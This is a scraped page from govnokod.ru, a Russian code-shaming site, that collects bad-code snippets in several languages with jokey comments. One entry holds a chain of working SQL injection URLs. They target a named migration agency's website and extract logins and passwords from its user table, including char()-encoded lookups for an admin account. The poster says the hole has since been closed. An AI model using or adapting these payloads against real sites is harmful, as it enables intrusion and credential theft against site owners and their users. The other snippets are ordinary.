- 1
- 2
- 3
- 4
- 5
if (nn.isleaf) {
this.traverse_ssector((BSPLeaf) nn);
return;
}
final BSPBranch n = (BSPBranch) nn;
Нашли или выдавили из себя код, который нельзя назвать нормальным, на который без улыбки не взглянешь? Не торопитесь его удалять или рефакторить, — запостите его на говнокод.ру, посмеёмся вместе!
+147
if (nn.isleaf) {
this.traverse_ssector((BSPLeaf) nn);
return;
}
final BSPBranch n = (BSPBranch) nn;
правильное наследование:
в родительском классе BSPNode определено поле isleaf
в конструкторе класса BSPLeaf оно выставляется true и никогда не меняется
в конструкторе класса BSPBranch соответственно false
а ведь так просто сделать проверку instanceof
−108
http://sydneymigrationspecialists.com/publication/modules/bill/pay.php?id=1 union select 1,(select login from sydney_users limit 1),3,4,5,6,7,8,9,10,11,12,13 --
http://sydneymigrationspecialists.com/publication/modules/bill/pay.php?id=1 union select 1,(select password from sydney_users limit 1),3,4,5,6,7,8,9,10,11,12,13 --
http://sydneymigrationspecialists.com/publication/modules/bill/pay.php?id=1 union select 1,(select password from sydney_users limit 1),3,(select login from sydney_users limit 1),5,6,7,8,9,10,11,12,13 --
http://sydneymigrationspecialists.com/publication/modules/bill/pay.php?id=1 union select 1,(show tables),3,4,5,6,7,8,9,10,11,12,13 --
http://sydneymigrationspecialists.com/publication/modules/bill/pay.php?id=1 union select 1,(select login from sydney_users where login like "adm" limit 1),3,4,5,6,7,8,9,10,11,12,13 --
http://sydneymigrationspecialists.com/publication/modules/bill/pay.php?id=1 union select 1,(select login from sydney_users where login like (select concat(char(37),char(97),char(100),char(109),char(105),char(110),char(37))) limit 1),3,4,5,6,7,8,9,10,11,12,13 --
http://sydneymigrationspecialists.com/publication/modules/bill/pay.php?id=1 union select 1,(select login from sydney_users where login like (select concat(char(37),char(97),char(100),char(109),char(105),char(110),char(37))) limit 1),3,4,5,6,7,8,9,10,11,12,13 --
http://sydneymigrationspecialists.com/publication/modules/bill/pay.php?id=1 union select 1,(select password from sydney_users where login like (select concat(char(37),char(97),char(100),char(109),char(105),char(110),char(37))) limit 1),3,(select login from sydney_users where login like (select concat(char(37),char(97),char(100),char(109),char(105),char(110),char(37)))limit 1),5,6,7,8,9,10,11,12,13 --
Собственно говоря вспомнил лихие времена.
Говнокод имел место быть в пхп. Дыра ныне закрыта (не без моей помощи).
+122
var rl2 = _vf.AddNewRouteLine(BusStation.Instance.GetRoute(
BusStation.Instance.FindSettlement(БарановичиcheckBox6.Content.ToString()),
BusStation.Instance.FindSettlement(БобруйскcheckBox17.Content.ToString()))[0],
БарановичиcheckBox6, БобруйскcheckBox17, Upd);
canvas1.Children.Add(rl2.Line);
+161
QString convToHex( unsigned char *bytes, int size )
{
if( size > 16 )
size = 16;
QString ret;
for( int i = 0; i < size; i++ )
{
char buf[3];
::sprintf( buf,"%02x", (unsigned int) bytes[i] );
ret += buf;
}
return ret;
}
+137
/*** First, attempting to establish a SSL-connection ***/
while(1)
{
sslConnection = sslConnect((const char *)remoteHost, port, CAFileName, CAPathName, error);
if(!sslConnection)
{
logger(ERR, "receiver: Can not establish SSL connection with %s [description - %s]", remoteHost, error);
#ifndef DEBUG_MODE
if (WaitForSingleObject (hExitEvent, 5000) == WAIT_OBJECT_0)
{
if(logLevel == DEBUG_LOG_LEVEL)
logger(INFO, "receiver: Exit event was set in signaling state");
logger(INFO, "receiver: Exit");
return(0);
}
#else
Sleep(5000);
#endif
continue;
}
else
{
if(logLevel == DEBUG_LOG_LEVEL)
{
logger(INFO, "receiver: Connection with %s is established", remoteHost);
}
socketError = 0;
break;
}
}
Пытаемся подключиться к серверу по SSL/TLS, отваливаемся по событию
+136
Function GetTwoLastNum(cNum)
cNum := str(cNum)
cNum := substr(cNum,len(cNum)-1,2)
cNum := val(cNum)
Return cNum
- Как найти последние две цифры числа ?
- Очень просто: превращаешь число в текст и substr-ом отрезаешь две последние буквы. Потом конвертируешь обратно в текст.
(код на языке Clipper)
+164
$cur = date('Y-m-d',time());
$date_arr = explode('-',$cur);
$year =$date_arr[0];
$month =$date_arr[1];
$day =$date_arr[2];
+162
function show_price_list() {
$period_1 = $period_2 = $period_3 = $period_4 = $period_5 = $period_6 = "";
$query = "
SELECT id, price, type
FROM price
ORDER BY type, start
";
$this->registry['sql']->query($query);
if ($this->registry['sql']->getNumberRows()>0) {
foreach ($this->registry['sql']->getFetchObject() as $oRow) {
switch($oRow->type) {
case 0: $period_1 .= '<td><input type="text" name="period['.$oRow->id.']" value="'.$oRow->price.'"></td>';
break;
case 1: $period_2 .= '<td><input type="text" name="period['.$oRow->id.']" value="'.$oRow->price.'"></td>';
break;
case 2: $period_3 .= '<td><input type="text" name="period['.$oRow->id.']" value="'.$oRow->price.'"></td>';
break;
case 3: $period_4 .= '<td><input type="text" name="period['.$oRow->id.']" value="'.$oRow->price.'"></td>';
break;
case 4: $period_5 .= '<td><input type="text" name="period['.$oRow->id.']" value="'.$oRow->price.'"></td>';
break;
case 5: $period_6 .= '<td><input type="text" name="period['.$oRow->id.']" value="'.$oRow->price.'"></td>';
break;
}
}
}
@$this->registry['template']->set('period_1', $period_1);
@$this->registry['template']->set('period_2', $period_2);
@$this->registry['template']->set('period_3', $period_3);
@$this->registry['template']->set('period_4', $period_4);
@$this->registry['template']->set('period_5', $period_5);
@$this->registry['template']->set('period_6', $period_6);
}
Классика жанра
+163
$lu=0;
$ray_array = file("allray.txt");
while (empty($rayon)) //пока район не заполнен значением
{
preg_match("#".trim($ray_array[$lu++])."#", $text, $rayon);
}
Многострочный поиск
+121
if (lvwUsers.SelectedItems[0].SubItems[1].Text != "" ||
lvwUsers.SelectedItems[0].SubItems[1].Text != string.Empty)
{
SecuritySettings.AuthenticationProtocol = ....